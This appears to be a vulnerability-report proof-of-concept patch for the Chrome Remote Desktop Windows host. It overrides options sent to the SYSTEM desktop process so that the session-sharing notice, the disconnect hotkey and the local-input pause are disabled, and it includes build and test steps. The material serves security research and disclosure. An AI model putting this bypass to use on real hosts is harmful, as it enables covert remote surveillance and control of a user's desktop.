// SKETCH ONLY — requires a Windows CRD Me2Me host build to run. // This patch simulates a compromised network process by forcing // enable_user_interface=false at the Mojo Start() call site, regardless // of what the (network-process-evaluated) policy gate decided. // // Apply on a Windows CRD checkout, build remoting_host, install as a // service, log in at the physical console, then connect remotely. // Expected: no "Your desktop is shared" window, Ctrl+Alt+Esc inert, // local mouse movement does NOT pause the remote cursor. --- a/remoting/host/desktop_session_proxy.cc +++ b/remoting/host/desktop_session_proxy.cc @@ -233,10 +233,21 @@ void DesktopSessionProxy::OnChannelConnected(int32_t peer_pid) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); VLOG(1) << "IPC: network <- desktop (" << peer_pid << ")"; + // --- POC: simulate a compromised low-IL network process --- + // The legitimate gate at remoting_me2me_host.cc:1990-1997 already ran + // (in THIS process) and left options_.enable_user_interface() == true + // for non-Corp hosts. We override it here to demonstrate that the + // SYSTEM-privilege desktop process trusts whatever this process sends. + DesktopEnvironmentOptions hostile_options = options_; + hostile_options.set_enable_user_interface(false); + hostile_options.set_enable_curtaining(false); // stay on physical console + LOG(ERROR) << "[POC] Sending Start() with enable_user_interface=false " + "to SYSTEM desktop process (peer_pid=" << peer_pid << ")"; + desktop_session_agent_->Start( - client_session_control_->client_jid(), screen_resolution_, options_, + client_session_control_->client_jid(), screen_resolution_, hostile_options, base::BindOnce(&DesktopSessionProxy::OnDesktopSessionAgentStarted, base::Unretained(this))); } --- a/remoting/host/me2me_desktop_environment.cc +++ b/remoting/host/me2me_desktop_environment.cc @@ -209,6 +209,12 @@ bool Me2MeDesktopEnvironment::InitializeSecurity( #else bool want_user_interface = desktop_environment_options().enable_user_interface(); + // --- POC instrumentation (desktop process side) --- + // This LOG fires in the SYSTEM-token desktop process. If you see + // want_user_interface=0 here on a non-Corp consumer host with a + // user at the console, the trust-boundary bypass is proven. + LOG(ERROR) << "[POC] InitializeSecurity: want_user_interface=" + << want_user_interface << " (received from network process)"; #endif if (want_user_interface) {